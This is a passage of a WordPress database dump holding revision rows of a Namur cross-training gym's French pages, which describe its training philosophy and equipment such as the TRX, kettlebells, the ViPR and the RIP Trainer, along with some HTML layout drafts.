Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:05:33', '2013-06-16 10:05:33', '', 5, 'http://www.crosstrainingcenter.be/?p=48', 0, 'revision', '', 0),
(50, 1, '2013-06-16 10:09:07', '2013-06-16 10:09:07', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:09:07', '2013-06-16 10:09:07', '', 5, 'http://www.crosstrainingcenter.be/?p=50', 0, 'revision', '', 0),
(51, 1, '2013-06-16 10:14:10', '2013-06-16 10:14:10', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:14:10', '2013-06-16 10:14:10', '', 5, 'http://www.crosstrainingcenter.be/?p=51', 0, 'revision', '', 0),
(54, 1, '2013-06-16 08:04:06', '2013-06-16 08:04:06', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 08:04:06', '2013-06-16 08:04:06', '', 22, 'http://www.crosstrainingcenter.be/?p=54', 0, 'revision', '', 0),
(55, 1, '2013-06-16 10:42:17', '2013-06-16 10:42:17', '&lt;blockquote&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:42:17', '2013-06-16 10:42:17', '', 22, 'http://www.crosstrainingcenter.be/?p=55', 0, 'revision', '', 0),
(56, 1, '2013-06-16 10:43:00', '2013-06-16 10:43:00', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:43:00', '2013-06-16 10:43:00', '', 22, 'http://www.crosstrainingcenter.be/?p=56', 0, 'revision', '', 0),
(57, 1, '2013-06-16 10:44:43', '2013-06-16 10:44:43', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:44:43', '2013-06-16 10:44:43', '', 22, 'http://www.crosstrainingcenter.be/?p=57', 0, 'revision', '', 0),
(58, 1, '2013-06-16 10:45:34', '2013-06-16 10:45:34', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;table style=\&quot;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;1\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;2\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;3\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;4\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;                 \r\n\r\n\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:45:34', '2013-06-16 10:45:34', '', 22, 'http://www.crosstrainingcenter.be/?p=58', 0, 'revision', '', 0),
(59, 1, '2013-06-16 10:46:19', '2013-06-16 10:46:19', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;table style=\&quot;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;1\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;2\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;3\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;4\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;                 \r\n\r\n\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:46:19', '2013-06-16 10:46:19', '', 22, 'http://www.crosstrainingcenter.be/?p=59', 0, 'revision', '', 0),
(63, 1, '2013-06-16 10:53:44', '2013-06-16 10:53:44', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:53:44', '2013-06-16 10:53:44', '', 22, 'http://www.crosstrainingcenter.be/?p=63', 0, 'revision', '', 0);
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(60, 1, '2013-06-16 10:48:24', '2013-06-16 10:48:24', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:48:24', '2013-06-16 10:48:24', '', 22, 'http://www.crosstrainingcenter.be/?p=60', 0, 'revision', '', 0),
(61, 1, '2013-06-16 10:49:30', '2013-06-16 10:49:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 20%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 80%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est 